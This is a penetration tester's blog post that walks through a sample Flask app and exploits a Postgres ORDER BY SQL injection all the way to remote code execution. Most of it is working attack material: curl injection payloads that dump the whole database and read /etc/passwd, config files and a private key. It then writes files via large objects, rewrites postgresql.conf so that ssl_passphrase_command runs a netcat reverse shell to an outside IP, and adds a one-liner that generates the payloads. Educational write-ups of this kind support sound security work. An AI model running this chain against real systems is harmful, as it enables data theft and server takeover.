SQL Injection and Postgres - An adventure to eventual RCE

May 5 2020

An SQL injection bug in an ORDER BY clause came up in a recent engagement, which lead to an interesting rabbit hole regarding exploiting SQLi against a PostgreSQL database. This post details some of that adventure. We’ll look at some useful Postgres functions to make exploiting SQLi easier, some interesting file read/write primitives and a path to command execution as the DB user. I’ve included some sample vulnerable code for those of you that want to try this stuff out first hand.

I ended up helping one of my Pulse comrades with this injection sink (and then a ‘hey hows it going’ message in the company chat spiralled into, well, this). The database user was a superuser, but without the ability to execute any CREATE/UPDATE/INSERT/DELETE statements from inside a SELECT query, most of the commonly documented methods for further exploitation weren’t available to us. The solution? Dump all the function definitions from Postgres, download the source code and start digging! There’s likely way more interesting stuff inside Postgres, so I’ve included some of my function-finding-and-digging notes at the end.

The Bug

I’ve replicated the issue we came across during the engagement in a vulnerable Flask app included at the bottom of this page. I’m a fan of replicating issues with test code, that way I can trawl through logs, run debuggers and have much greater visibility over what’s going on. Once the exploit has been figured out, it can then be launched against the real-life target.

In this case, the bug was an SQL injection sink in a parameter that was meant to provide either the ASC or DESC definition for the ORDER BY part of the query. The following snippet shows the bug:

cols = ['id','name','note','created_on']

@app.route("/")
def index():
    result = "<h1> Test some stuff </h1>"
    order = request.args.get("order")
    sort = request.args.get("sort")

    sqlquery = "select * from animals";

    if order in cols:
        sqlquery = sqlquery + " order by " + order
        if sort:
            sqlquery = sqlquery + " " + sort

    cur = conn.cursor()

    try: 
        cur.execute(sqlquery)
    except psycopg2.Error as e:  
        conn.rollback()
        return Response(e.pgerror, mimetype='text/plain')

The order parameter is checked against a whitelist, but the sort parameter is not, which results in our injection. Errors are returned in the HTTP response, which is going to make exploitation a whole bunch easier (more on this soon!). By passing order=id&sort=%27, we get the following that confirms the injection:

:~$ curl "127.0.0.1:5000/?order=id&sort=%27"
ERROR:  unterminated quoted string at or near "'"
LINE 1: select * from animals order by id '

Marvelous. Note, the original bug we found didn’t allow stacked queries, my Flask+psycopg2 analog does. This post wont look at exploiting query-stacking, given that being able to stack queries means we are no longer confined to a SELECT statement, which gives us the ability to CREATE and INSERT our little hacker hearts away. I’ll have to ask for some suspension-of-disbelief on this one.

Injection in ORDER BY

Now that we understand the injection point, we need to craft a payload that we can use to pull information out of the database. Let’s look at two ways to achieve that, with response discrepancy and with data exfiltration via error messages.

Response Discrepancy

The ORDER BY clause allows you to order by multiple columns, provided you separate them by a comma. For example, ORDER BY id, name will order by id, then by name. Postgres allows you to use CASE statements within the ORDER BY clause, which we can leverage to execute a query and test the result. The query we’re after would look something like this:

SELECT * FROM ANIMALS ORDER BY note, (CASE WHEN (SELECT '1')='1')+THEN+note+ELSE+id::text+END)

If the statement is true, the results will be ordered by note, then note (no change to ordering). If the statement is false, then the results will be ordered by name then id.

An important side note. It’s important to ensure the first ORDER BY clause is a column that isn’t unique across all rows. Meaning, it needs to order by a value that’s the same for at least two rows. If the first ORDER BY column is unique in every row, then Postgres will not execute the second order clause!

Here’s what that practically looks like:

And when its false:

You can change that SELECT statement to pull out or whatever data, sub-string it, and test the result character-by-character. This kind of blind injection is documented all over the web, so I won’t be going into that here. Given that we have error messages being returned to us though, there is an easier option.

Error message exfil

Running seventeen bazillion queries against a SQLi sink is fun and all, but since error messages are returned we can use that instead. By purposefully messing up a CAST, we can get query results via the error message. The payload would look something like this:

SELECT CAST(chr(32)||(SELECT pg_user) AS NUMERIC)

And the complete injection string, note that in this case the precedence of our ORDER BY parameters doesn’t matter, the CAST executes regardless so specifying any valid column for order works:

$ curl 'http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20version())%20AS%20NUMERIC))=%271%27)%20THEN%20name%20ELSE%20note%20END)'
ERROR:  invalid input syntax for type numeric: " PostgreSQL 11.7 (Debian 11.7-0+deb10u1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 8.3.0-6) 8.3.0, 64-bit"

Here’s where things get a little tricky, watch what happens when we try a query that returns more than one row:

$ curl 'http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20*%20FROM%20pg_user)%20AS%20NUMERIC))=%271%27)%20THEN%20name%20ELSE%20note%20END)'
ERROR:  subquery must return only one column
LINE 1: ...ls order by id ,(CASE WHEN ((SELECT CAST(CHR(32)||(SELECT * ...

Wamp. At this point you could use the LIMIT clause, but there is a quicker way. Which leads us too…

Postgres XML functions

Postgres includes some handy dandy XML helpers. If we grep all the available Postgres functions and search for xml, we get the following:

 xml_in
 xml_out
 xmlcomment
 xml
 xmlvalidate
 xml_recv
 xml_send
 xmlconcat2
 xmlagg
 table_to_xml
 query_to_xml
 cursor_to_xml
 table_to_xmlschema
 query_to_xmlschema
 cursor_to_xmlschema
 table_to_xml_and_xmlschema
 query_to_xml_and_xmlschema
 schema_to_xml
 schema_to_xmlschema
 schema_to_xml_and_xmlschema
 database_to_xml
 database_to_xmlschema
 database_to_xml_and_xmlschema
 xmlexists
 xml_is_well_formed
 xml_is_well_formed_document
 xml_is_well_formed_content

We’re going to look at two of these a bit closer, query_to_xml and database_to_xml.

query_to_xml

query_to_xml executes a query then returns the result as an XML object. The bonus here is that it will return a single row. So we chain that with the error-based SQLi we discussed earlier and hey presto, execute any SQL statement and retrieve the result, without having to worry about limits or multiple rows. First we need to figure out how to call it. In this case, query_to_xml(query text, nulls boolean, tableforest boolean, targetns text). Or, as part of our injection payload:

:~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20*%20from%20pg_user',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)"
ERROR:  invalid input syntax for type numeric: " <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <usename>postgres</usename>
  <usesysid>10</usesysid>
  <usecreatedb>true</usecreatedb>
  <usesuper>true</usesuper>
  <userepl>true</userepl>
  <usebypassrls>true</usebypassrls>
  <passwd>********</passwd>
  <valuntil xsi:nil="true"/>
  <useconfig xsi:nil="true"/>
</row>

<row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <usename>testuser</usename>
  <usesysid>16385</usesysid>
  <usecreatedb>false</usecreatedb>
  <usesuper>true</usesuper>
  <userepl>false</userepl>
  <usebypassrls>false</usebypassrls>
  <passwd>********</passwd>
  <valuntil xsi:nil="true"/>
  <useconfig xsi:nil="true"/>
</row>

Glorious. Also, note that the Postgres user that we’re connecting as is a super user, that’s going to come in handy shortly.

database_to_xml

We can also use the xml helpers to dump the entire DB with a single query.

Ok, so fair warning, on a big database or any kind of production app, you probably don’t want to do this. But with that out of the way, here’s how you dump the entire database using a single query from inside an error-based SQLi. When we did this against the real-world app (in a test environment!), we ended up with a 150MB xml file. So use caution.

Anyway, what you want is database_to_xml(true,true,''). Here’s what that looks like:

:~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20database_to_xml(true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)"
ERROR:  invalid input syntax for type numeric: " <testdb xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">

<public>

<animals>
  <id>1</id>
  <name>dog</name>
  <note>is a good dog</note>
  <created_on>2020-05-04T14:40:16.909665</created_on>
</animals>

<animals>
  <id>2</id>
  <name>cat</name>
  <note>adorable, if passive aggressive</note>
  <created_on>2020-05-04T14:40:16.915896</created_on>
</animals>

<animals>
  <id>3</id>
  <name>fish</name>
  <note>fish go blub</note>
  <created_on>2020-05-04T14:40:16.918411</created_on>
</animals>

<animals>
  <id>4</id>
  <name>whale</name>
  <note>also go blub</note>
  <created_on>2020-05-04T14:40:16.920589</created_on>
</animals>

<animals>
  <id>5</id>
  <name>shrimp</name>
  <note>also go blub</note>
  <created_on>2020-05-04T14:40:16.92258</created_on>
</animals>

<animals>
  <id>6</id>
  <name>giraffe</name>
  <note>long neck, neato spots</note>
  <created_on>2020-05-04T14:40:16.924759</created_on>
</animals>

<animals>
  <id>7</id>
  <name>rock</name>
  <note>TICKET 1143 rock is not animal</note>
  <created_on>2020-05-04T14:40:16.926717</created_on>
</animals>


<secrets>
  <id>1</id>
  <name>some-secret</name>
  <secret_info>super secret info in the db</secret_info>
</secrets>


</public>

</testdb>
"

If you’d like to be more subtle, use database_to_xmlschema to figure out the DB structure, then query_to_xml to pull just what you need.

File Read and Write

Since our user is a super user, we can read and write files to any location on the file-system using Postgres’ large objects. But first, a note on some of the more widely documented techniques for file read and dir listing.

pg_ls_dir and pg_read_file changes

pg_ls_dir and pg_read_file are detailed in various Postgres SQLi cheatsheets. These methods did not allow absolute paths in prior versions of Postgres, but as of this commit, members of the DEFAULT_ROLE_READ_SERVER_FILES group and super users can use these methods on any path (check out convert_and_check_filename in genfile.c).

Unfortunately, the target-app-in-real-life was running on an older version of Postgres, so no global file read and directory listing. Our demo analog app is on Debian 10 with Postgres 11 installed via apt, and is connecting as a super user, so no problem:

$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20pg_ls_dir(''/'')',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)"
ERROR:  invalid input syntax for type numeric: " <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <pg_ls_dir>vmlinuz.old</pg_ls_dir>
</row>

<row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <pg_ls_dir>srv</pg_ls_dir>
</row>

<row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <pg_ls_dir>initrd.img.old</pg_ls_dir>
</row>

<row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <pg_ls_dir>proc</pg_ls_dir>
</row>
...snip...
<row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <pg_ls_dir>var</pg_ls_dir>
</row>

<row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <pg_ls_dir>dev</pg_ls_dir>
</row>

$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20pg_read_file('/etc/passwd'))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)"
ERROR:  invalid input syntax for type numeric: " root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...snip...
postgres:x:108:114:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
"

Reading and Writing files with Large Objects

Postgres large objects provide a mechanism to store data, as well as read and write things from the file-system. Looking at our function list, we can see the following methods:

 lo_close
 lo_creat
 lo_create
 lo_export
 lo_from_bytea
 lo_get
 lo_import
 lo_lseek
 lo_lseek64
 lo_open
 lo_put
 lo_tell
 lo_tell64
 lo_truncate
 lo_truncate64
 lo_unlink

We’re going to be focusing on lo_import and lo_export to read and write files, respectively. The two tables that data ends up in is pg_largeobject and pg_largeobject_metadata. These methods are run inside a transaction block, meaning that the request has to be successful and not roll back. So no error-based SQLi, we need an SQLi payload the executes successfully.

File read with lo_import

lo_import allows you to specify a file-system path. The file will be read and loaded into a large object, with the OID of the object returned. Using query_to_xml, we can request the pg_largeobject able and pull the data out, neatly base64-ed by the XML function. So to load /etc/passwd, we’d using the following payload:

, (CASE WHEN (SELECT lo_import('/etc/passwd'))='1')+THEN+note+ELSE+id::text+END)
$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20lo_import('/etc/passwd')=%271%27)%20THEN%20name%20ELSE%20note%20END)"
<h1> Test some stuff </h1><table><th>id</th><th>name</th><th>note</th><th>created</th><tr><td>1</td><td>dog</td><td>is a good dog</td>...snip...

We get a legitimate application response, no error. Now the /etc/passwd file should be waiting for us in the pg_largeobject table:

$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20*%20from%20pg_largeobject',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)"
ERROR:  invalid input syntax for type numeric: " <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <loid>16437</loid>
  <pageno>0</pageno>
  <data>cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91
c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmlu
L25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0
OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2Ft
ZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vz
ci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25v
bG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdz
Ong6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDox
MDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEz
OjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ct
ZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6
L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExp
c3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJj
ZDovdmFyL3J1bi9pcmNkOi91c3Ivc2Jpbi9ub2xvZ2luCmduYXRzOng6NDE6NDE6R25hdHMg
QnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0czovdXNyL3NiaW4v
bm9sb2dpbgpub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi91c3Iv
c2Jpbi9ub2xvZ2luCl9hcHQ6eDoxMDA6NjU1MzQ6Oi9ub25leGlzdGVudDovdXNyL3NiaW4v
bm9sb2dpbgpzeXN0ZW1kLXRpbWVzeW5jOng6MTAxOjEwMjpzeXN0ZW1kIFRpbWUgU3luY2hy
b25pemF0aW9uLCwsOi9ydW4vc3lzdGVtZDovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLW5l
dHdvcms6eDoxMDI6MTAzOnN5c3RlbWQgTmV0d29yayBNYW5hZ2VtZW50LCwsOi9ydW4vc3lz
dGVtZDovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLXJlc29sdmU6eDoxMDM6MTA0OnN5c3Rl
bWQgUmVzb2x2ZXIsLCw6L3J1bi9zeXN0ZW1kOi91c3Ivc2Jpbi9ub2xvZ2luCm1lc3NhZ2Vi
dXM6eDoxMDQ6MTEwOjovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4KZG9pOng6MTAw
MDoxMDAwOmRvaSwsLDovaG9tZS9kb2k6L2Jpbi9iYXNoCnN5c3RlbWQtY29yZWR1bXA6eDo5
OTk6OTk5OnN5c3RlbWQgQ29yZSBEdW1wZXI6LzovdXNyL3NiaW4vbm9sb2dpbgpsaWdodGRt
Ong6MTA1OjExMjpMaWdodCBEaXNwbGF5IE1hbmFnZXI6L3Zhci9saWIvbGlnaHRkbTovYmlu
L2ZhbHNlCnNzaGQ6eDoxMDY6NjU1MzQ6Oi9ydW4vc3NoZDovdXNyL3NiaW4vbm9sb2dpbgp1
c2JtdXg6eDoxMDc6NDY6dXNibXV4IGRhZW1vbiwsLDovdmFyL2xpYi91c2JtdXg6L3Vzci9z
YmluL25vbG9naW4KcG9zdGdyZXM6eDoxMDg6MTE0OlBvc3RncmVTUUwgYWRtaW5pc3RyYXRv
ciwsLDovdmFyL2xpYi9wb3N0Z3Jlc3FsOi9iaW4vYmFzaAo=</data>
</row>

Awesome. You could also use the lo_get method and the OID above, if you were so inclined.

File write with lo_export

lo_export takes a large object OID and a path, writing the file out to the path as the database user (postgres, in my case). I’m going to reuse the large object OID we created in the previous step to test this. The payload will be:

, (CASE WHEN (SELECT lo_export(16437,'/dev/shm/testing'))='1')+THEN+note+ELSE+id::text+END)
$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20lo_export(16437,'/dev/shm/testing')=%271%27)%20THEN%20name%20ELSE%20note%20END)"
$ ls -l /dev/shm/
total 12
-rw------- 1 postgres postgres 6928 May  1 16:43 PostgreSQL.1150217542
-rw-r--r-- 1 postgres postgres 1601 May  4 17:53 testing

Arbitrary file write can be performed by using lo_from_bytea to create a large object with a specified byte array, for example:

select lo_from_bytea(0,'this is a test file with test bytes');

Now the question becomes ‘what can we write to the file-system as the postgres user to achieve code execution’? Were the DB and the web server on the same host that might open up some options, but in this case we had a standalone DB server.

Cleaning up large objects

Large objects can be removed using the select lo_unlink(OID) command. Running a select * from pg_largeobject and removing any objects you’ve created is going to be a good step to add to you engagement-clean-and-wrap-up routine.

Command Execution - Just straight-up overwrite the config file

One of the things that came to mind was to look for an option in a config file that the postgres user can write that will let us specify an arbitrary command that’ll get executed… somewhere. Double-checking that the config file is indeed owned by postgres:

$ ls -l /etc/postgresql/11/main/postgresql.conf 
-rw-r--r-- 1 postgres postgres 24194 May  1 16:31 /etc/postgresql/11/main/postgresql.conf

Dumping all the configuration options and looking for command showed the following:

testdb=# select name, short_desc from pg_settings where name like '%command%' ;
                  name                  |                            short_desc                             
----------------------------------------+-------------------------------------------------------------------
 archive_command                        | Sets the shell command that will be called to archive a WAL file.
 log_replication_commands               | Logs each replication command.
 ssl_passphrase_command                 | Command to obtain passphrases for SSL.
 ssl_passphrase_command_supports_reload | Also use ssl_passphrase_command during server reload.
(4 rows)

ssl_passphrase_command looks hopefull, lets check that out in the config file:

# - SSL -

ssl = on
#ssl_ca_file = ''
ssl_cert_file = '/etc/ssl/certs/ssl-cert-snakeoil.pem'
#ssl_crl_file = ''
ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'
#ssl_ciphers = 'HIGH:MEDIUM:+3DES:!aNULL' # allowed SSL ciphers
#ssl_prefer_server_ciphers = on
#ssl_ecdh_curve = 'prime256v1'
#ssl_dh_params_file = ''
#ssl_passphrase_command = ''
#ssl_passphrase_command_supports_reload = off

Excellent, that’ll do. We can overwrite the config file to set a command. This will execute when we tell postgres to reload the configuration file.

“But isn’t overwriting the config file super risky?” Yes, and it’s up to you to work out how to not wreck anything that shouldn’t be wrecked. That said, select pg_reload_conf() wont take down the server if our shell fails to decrypt the private key. However, a systemctl restart postgres or a server reboot and the database won’t come back. So we need to be sneaky.

For the command to execute, ssl_key_file needs to point to a key that’s protected by a passphrase. We could upload our own key file using lo_export, but we run into an issue before the command is executed:

2020-05-04 18:30:43.485 NZST [22651] DETAIL:  File must have permissions u=rw (0600) or less if owned by the database user, or permissions u=rw,g=r (0640) or less if owned by root.
2020-05-04 18:30:43.485 NZST [22651] LOG:  SSL configuration was not reloaded

Both of the above problems can be dealt with by downloading the existing private key using lo_import (snakeoil, on debian), setting a passphrase on the key and re-uploading it. We double the sneakiness by using an exploit command that actually returns the passphrase so the key successfully decrypts.

The plan at this point is:

  • lo_import the current config file and the existing private key
  • Dump the config, confirm we have the right file and location
  • Dump the key, add a passphrase
  • Use lo_from_bytea and lo_put to update the config file to execute a malicious command, and add the tweaked private key
  • lo_export the doctored config and key back to disk
  • Execute pg_reload_conf() to load the new configuration

Let’s work on getting the private-key and RCE payload working correctly first. I like to figure this all out outside of the confines of the SQLi bug, then string everything together in the end. The idea is that if I have made any wrong assumptions on how things work, I’m not trying to debug that through another vulnerability. Fail-fast and all that.

Building an RCE payload

The payload needs to meet the requirements as set out in the Postgres docs. Basically, it needs to exit 0 and return the passphrase on stdout.

ssl_passphrase_command (string) Sets an external command to be invoked when a passphrase for decrypting an SSL file such as a private key needs to be obtained. By default, this parameter is empty, which means the built-in prompting mechanism is used.

The command must print the passphrase to the standard output and exit with code 0. In the parameter value, %p is replaced by a prompt string. (Write %% for a literal %.) Note that the prompt string will probably contain whitespace, so be sure to quote adequately. A single newline is stripped from the end of the output if present.

The command does not actually have to prompt the user for a passphrase. It can read it from a file, obtain it from a keychain facility, or similar. It is up to the user to make sure the chosen mechanism is adequately secure.

This parameter can only be set in the postgresql.conf file or on the server command line.

Though you could upload any kind of malicious file you’d like with lo_export, I achieved the end goal here by using bash. The payload for the ssl passphrase command was as follows:

bash -c 'test -p /dev/shm/pipe || mkfifo /dev/shm/pipe; nc 192.168.122.1 8000 < /dev/shm/pipe | /bin/bash > /dev/shm/pipe & echo passphrase; exit 0'

The code checks if a pipe exists, and creates it if it doesn’t. A netcat reverse shell is then executed and backgrounded. After that, we echo the passphrase and exit 0.

Next, we need to figure out how to add a passphrase to the private key. The openssl command can be used to add a passphrase to an existing key:

~/tmp$ sudo openssl rsa -aes256 -in /etc/ssl/private/ssl-cert-snakeoil.key -out ./ssl-cert-snakeoil.key
writing RSA key
Enter PEM pass phrase: passphrase
Verifying - Enter PEM pass phrase: passphrase
~/tmp$ 

Excellent. This is the part where you manually update the config file and make sure that everything works as intended. There is a minor wrinkle where if a shell was currently open and someone tried to restart Postgres, the restart process would hang on Stopping PostgreSQL Cluster 11-main... until you exit netcat. Something to keep in mind. Another option would be to curl whatever stager you feel like to /dev/shm and execute that, rather than trying to tackle job-control in a netcat one liner. You do you though.

Alright, so ready to go right? WRONG:

:~$ sudo ls -l /etc/ssl/private/ssl-cert-snakeoil.key
-rw-r----- 1 root ssl-cert 1766 May  4 20:18 /etc/ssl/private/ssl-cert-snakeoil.key

The postgres user can’t overwrite that file, and the default umask will create files with the wrong permissions. It’s fine, it’s fine, we just need a file that’s already owned by the postgres user and has 0600 permissions. There should be at least one, right?

:/# find / -user postgres -type f -perm 0600 2> /dev/null | wc -l
1297
   805260      8 -rw-------   1 postgres postgres     6895 May  4 20:20 /var/lib/postgresql/.psql_history
   805261      4 -rw-------   1 postgres postgres      258 May  4 20:21 /var/lib/postgresql/.bash_history

These two look good, but I kind of feel like that would be cheating, so moving on.

:/# ls -l /var/lib/postgresql/11/main/PG_VERSION
-rw------- 1 postgres postgres 3 May  1 16:31 /var/lib/postgresql/11/main/PG_VERSION
:/# cat /var/lib/postgresql/11/main/PG_VERSION
11

OK that looks better, lets try string everything together and get our shell.

The exploit

So with the prototype finished, here is the final SQLi to RCE dance:

Step one - get the config file

:~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20setting%20from%20pg_settings%20where%20name=''config_file''',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)"
ERROR:  invalid input syntax for type numeric: " <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <setting>/etc/postgresql/11/main/postgresql.conf</setting>
</row>
"
:~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20lo_import('/etc/postgresql/11/main/postgresql.conf')=%271%27)%20THEN%20name%20ELSE%20note%20END)"
<h1> Test some stuff </h1><table><th>id</th><th>name...snip...
:~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20lo_import('/etc/postgresql/11/main/postgresql.conf')=%271%27)%20THEN%20name%20ELSE%20note%20END)"
<h1> Test some stuff </h1><table><th>id</th><th>name...snip...
:~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20loid%20from%20pg_largeobject',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)"
ERROR:  invalid input syntax for type numeric: " <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <loid>16441</loid>
</row>
...snip...
<row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <loid>16442</loid>
</row>

"

:~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20*%20from%20pg_largeobject',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)"
ERROR:  invalid input syntax for type numeric: " <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <loid>16441</loid>
  <pageno>3</pageno>
  <data>b3VuZAojYmd3cml0ZXJfZmx1c2hfYWZ0ZXIgPSA1MTJrQgkJIyBtZWFzdXJlZCBpbiBwYWdl
cywgMCBkaXNhYmxlcwoKIyAtIEFzeW5jaHJvbm91cyBCZWhhdmlvciAtCgojZWZmZWN0aXZl
X2lvX2NvbmN1cnJlbmN5ID0gMQkJIyAxLTEwMDA7IDAgZGlzYWJsZXMgcHJlZmV0Y2hpbmcK
I21heF93b3JrZXJfcHJvY2Vzc2VzID0gOAkJIyAoY2hhbmdlIHJlcXVpcmVzIHJlc3RhcnQp
CiNtYXhfcGFyYWxsZWxfbWFpbnRlbmFuY2Vfd29ya2VycyA9IDIJIyB0YWtlbiBmcm9tIG1h
eF9wYXJhbGxlbF93b3JrZXJzCiNtYXhfcGFyYWxsZWxfd29ya2Vyc19wZXJfZ2F0aGVyID0g
MgkjIHRha2VuIGZyb20gbWF4X3BhcmFsbGVsX3dvcmtlcnMKI3BhcmFsbGVsX2xlYWRlcl9w
YXJ0aWNpcGF0aW9uID0gb24KI21heF9

16441 will be our “clean” config that we can spool out to disk if we need to roll back in a hurry. 16442 is what we will mess with. After concatenating all the base64 blobs and spooling to disk, we get the config file. The SSL parameters is what we’re interested in:

:~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20*%20from%20pg_largeobject%20where%20loid=''16441''%20ORDER%20BY%20pageno',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)" | 
    tee file
...snip...
:~$ perl -pe 's/[\r\n]//g; s/<\/data>/\n/g' < file  | 
    perl -pe 's/^.*?<data>(.*?)/$1/g' | 
    while read i; do echo $i | base64 -d; done | 
    grep ssl
ssl = on
#ssl_ca_file = ''
ssl_cert_file = '/etc/ssl/certs/ssl-cert-snakeoil.pem'
#ssl_crl_file = ''
ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'
#ssl_ciphers = 'HIGH:MEDIUM:+3DES:!aNULL' # allowed SSL ciphers
#ssl_prefer_server_ciphers = on
#ssl_ecdh_curve = 'prime256v1'
#ssl_dh_params_file = ''
#ssl_passphrase_command = ''
#ssl_passphrase_command_supports_reload = on

Step two - get the private key

Next we need to grab the the private key

:~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20lo_import('/etc/ssl/private/ssl-cert-snakeoil.key')=%271%27)%20THEN%20name%20ELSE%20note%20END)"
:~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20*%20from%20pg_largeobject%20where%20loid=''16443''%20ORDER%20BY%20pageno',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)" |
    tee file
...snip...
:~$ perl -pe 's/[\r\n]//g; s/<\/data>/\n/g' < file  | 
    perl -pe 's/^.*?<data>(.*?)/$1/g' | 
    while read i; do echo $i | base64 -d; done  > private.key

Add a passphrase:

:~$ openssl rsa -aes256 -in private.key -out private_passphrase.key
writing RSA key
Enter PEM pass phrase: passphrase
Verifying - Enter PEM pass phrase: passphrase

And upload the result into a large object. We can use lo_from_bytea to create the object, then lo_put to append. lo_put returns void, which throws an error when used in the CASE statement. Solution here is to wrap it in pg_typeof, which we can check against an int. I used a sketchy one-liner to break this up so it’ll fit in the GET parameters neatly:

:~$ I=0; xxd -p private_passphrase.key  |
     while read line 
     do if [ $I == 0 ]
        then echo "curl \"http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20lo_from_bytea(43210,'\x$line')=%271%27)%20THEN%20name%20ELSE%20note%20END)\"" 
        else echo "curl \"http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20pg_typeof(lo_put(43210,$I,'\x$line'))=%271%27)%20THEN%20name%20ELSE%20note%20END)\"" 
     fi ; I=$(($I+30)); done
curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20lo_from_bytea(43210,'\x2d2d2d2d2d424547494e205253412050524956415445204b45592d2d2d2d')=%271%27)%20THEN%20name%20ELSE%20note%20END)"
curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20pg_typeof(lo_put(43210,30,'\x2d0a50726f632d547970653a20342c454e435259505445440a44454b2d49'))=%271%27)%20THEN%20name%20ELSE%20note%20END)"
...snip...
